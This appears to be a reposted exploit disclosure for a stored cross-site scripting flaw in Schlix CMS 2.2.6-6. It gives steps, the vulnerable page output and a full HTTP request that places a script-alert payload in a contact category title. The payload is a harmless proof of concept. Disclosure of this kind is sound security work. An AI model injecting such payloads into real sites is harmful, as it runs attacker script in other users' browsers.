Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863546437

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Schlix CMS 2.2.6-6 - 'title' Persistent Cross-Site Scripting (Authenticated)
# Date: 2021-05-05
# Exploit Author: Emircan Baş
# Vendor Homepage: https://www.schlix.com/
# Software Link: https://www.schlix.com/downloads/schlix-cms/schlix-cms-v2.2.6-6.zip
# Version: 2.2.6-6
# Tested on: Windows & WampServer

==> Tutorial <==

1- Login with your account.
2- Go to the contacts section. Directory is '/admin/app/contact'.
3- Create a new category and type an XSS payload into the category title.
4- XSS payload will be executed when we travel to created page.

==> Vulnerable Source Code <==

<article class="main category">	       
    <div class="media-header-full-width " style="background-image: url('https://static-demo.schlix.website/images/static/sample1/header/header_img_10.jpg');">
        <div class="media-header-title container d-flex h-100">
            <div class="row align-self-center w-100">
                <div class="col-8 mx-auto">
                    <div class="text-center">
                        <h1 class="item title" itemprop="headline">&#039;"><script>alert(1)</script></h1> # OUR PAYLOAD IS NON-EXECUTEABLE
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="breadcrumb-bg">
      <div class="container">
           <div class="breadcrumb-container"><ol class="breadcrumb"><li class="breadcrumb-item"><a class="breadcrumb-home" href="/cms">
           <i class="fa fa-home"></i></a></li><li class="breadcrumb-item"><a href="/cms/contacts/">Contacts</a></li><li class="breadcrumb-item">
           <a href="/cms/contacts/script-alert-2-script/"><script>alert(1)</script></a></li></ol></div></div> # EXECUTED PLACE
</div>

==> HTTP Request <==

POST /admin/app/contacts?action=savecategory HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------280033592236615772622294478489
Content-Length: 4146
Origin: (ORIGIN)
Connection: close
Referer: (REFERER)
Cookie: contacts_currentCategory=6; scx2f1afdb4b86ade4919555d446d2f0909=gi3u57kmk34s77f1fngigm1k1b; gusrinstall=rt9kps56aasmd8445f7ufr7mva; schlix_frontendedit_control_showblock=-2; schlix_frontendedit_control_showhide=-2; schlix_frontendedit_control_showdoc=-2
Upgrade-Insecure-Requests: 1

-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="_csrftoken"

49feefcd2b917b9855cd55c8bd174235fa5912e4
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="cid"

6
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="parent_id"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="guid"

ee34f23a-7167-a454-8576-20bef7575c15
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="title"

<script>alert(1)</script>
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="status"

1
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="virtual_filename"

script-alert-1-script
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="summary"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="description"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="meta_description"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="meta_key"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="tags"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="date_available"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="date_expiry"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="items_per_page"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="options[]"

display_pagetitle
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="options[]"

__null__
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="options[]"

display_child_categories
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="options[]"

__null__
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="options[]"

display_items
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="options[]"

__null__
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="options[child_categories_sortby]"

date_created
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="options[items_sortby]"

date_created
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="permission_read_everyone"

everyone
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="permission_read[]"

1
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="permission_read[]"

2
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="permission_read[]"

3
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="permission_write[]"

1
-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="cmh_media_selection"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="cmh_media_upload"; filename=""
Content-Type: application/octet-stream


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="cmh_media_path"


-----------------------------280033592236615772622294478489
Content-Disposition: form-data; name="cmh_media_url"


-----------------------------280033592236615772622294478489--